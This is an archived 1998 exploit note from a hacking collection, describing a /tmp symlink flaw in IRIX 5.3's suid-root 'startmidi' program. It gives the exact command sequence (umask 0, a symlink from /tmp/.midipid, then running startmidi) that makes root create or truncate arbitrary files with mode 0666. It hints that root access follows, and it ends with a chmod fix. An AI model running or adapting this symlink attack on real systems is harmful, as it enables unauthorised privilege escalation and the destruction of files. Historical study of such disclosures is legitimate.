home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / startmidi.txt < prev    next >
Text File  |  1998-07-17  |  782b  |  21 lines

  1. Whilst browsing around the filesystem on my SGI (running IRIX 5.3), I
  2. noticed a little suid-root program called 'startmidi' which hides in
  3. /usr/sbin. When run, this program creates various files in /tmp. You
  4. guessed it, it respects umask and follows symlinks. Comme ca:
  5.  
  6. % umask 0
  7. % ln -s /blardyblar /tmp/.midipid
  8. % startmidi -d /dev/ttyd1
  9. % ls -l /blardyblar
  10. -rw-rw-rw-    1 root     pgrad          0 Feb  9 17:46 /blardyblar
  11. % stopmidi -d /dev/ttyd1
  12. %
  13.  
  14. Any existing files are trucated to zero length. New files are created
  15. root-owned, mode 0666. I leave it to your furtive imaginations to get
  16. root from this. 'stopmidi' removes the files created by 'startmidi' so
  17. you may have to run that first if /tmp/.midipid already exists.
  18.  
  19. chmod -s /usr/sbin/startmidi fixes this problem.
  20.  
  21.